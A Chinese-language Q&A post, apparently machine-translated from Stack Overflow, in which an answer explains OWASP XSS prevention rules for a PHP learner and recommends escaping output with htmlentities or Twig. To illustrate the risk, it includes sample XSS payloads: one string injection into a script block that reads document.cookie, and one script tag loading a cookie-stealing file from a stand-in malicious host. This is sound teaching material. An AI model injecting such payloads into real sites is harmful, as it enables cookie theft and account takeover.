我正在阅读有关XSS的知识,以便在使用PHP时了解自己的安全性。我指的是this article,他们谈论XSS以及应该遵守的一些规则。
有人可以为我解释规则#0和#1吗?我理解他们正在保存的一些内容,但当他们说不受信任的数据时,他们是指用户输入的数据吗?
我正在研究某些表格,并且我正在努力遵守这些规则以防止XSS。问题是,一旦表单完成,我从不向用户输出任何内容。我所做的就是处理数据并将其保存到文本文件中。我已经完成了一些客户端和许多服务器端验证,但我无法弄清never insert untrusted data except in allowed locations
的含义。
escaping
他们的意思是closing tags - </>?
答案 0 :(得分:0)
规则#0表示您不应在您希望运行说明的网页位置输出数据。
如您的网址所示,请勿将用户生成的数据放在<script>
标记内。例如,这是禁忌:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>
看起来很安全,对吗?那么,如果你的$ username变量包含以下值,该怎么办:
""; console.log(document.cookie);//
因此,在网站上,您要展示的内容将是:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>
因此,有人可以轻松窃取用户的Cookie并提升他们的权限。现在想象一下,您使用类似的代码来说明,更新哪个用户创建了最新的帖子,并通过AJAX显示。如果您执行上述操作,那么等待发生的灾难(并且首先不要清理用户名)。
同样适用于<style>
,<img>
,<embed>
,<iframe>
或任何其他可让您运行脚本或导入资源的标记。也适用于评论。浏览器忽略注释,但是一些解释器(如JSP解析器)将HTML注释作为模板文本处理。它不会忽略它的内容。
规则#1非常类似于规则#0,如果您在某个时间点开发Web应用程序,则必须输出用户生成的数据,无论是电子邮件地址,用户名,名称,管他呢。
如果您正在开发论坛,可能您可能想要为您的用户提供一些文字样式选项。粗体字母,下划线和斜体等基本内容应该足够了。如果你想获得幻想,你甚至可以让用户改变字体。
一个简单的方法,没有太多的复杂性,只是让用户在他们选择的时候编写自己的HTML,所以如果你输入用户的HTML,那么安全&#34;像<p>
标签之间的位置,那么等待发生的灾难也是如此。
因为我可以写:
嘿大家,这是我的第一篇帖子
<script src="//malicioussite.io/hackingYoCookiez.js"></script>
!
如果你不想逃避这种输入,人们只会看到:
嘿大家,这是我的第一篇文章!
但您的浏览器还会看到一个外部JavaScript,告诉它将每个人的Cookie发送到远程位置。
所以总是逃避数据。如果您正在使用PHP,则可以使用htmlentities
或使用像Twig这样的模板引擎,它会自动为您输出输出。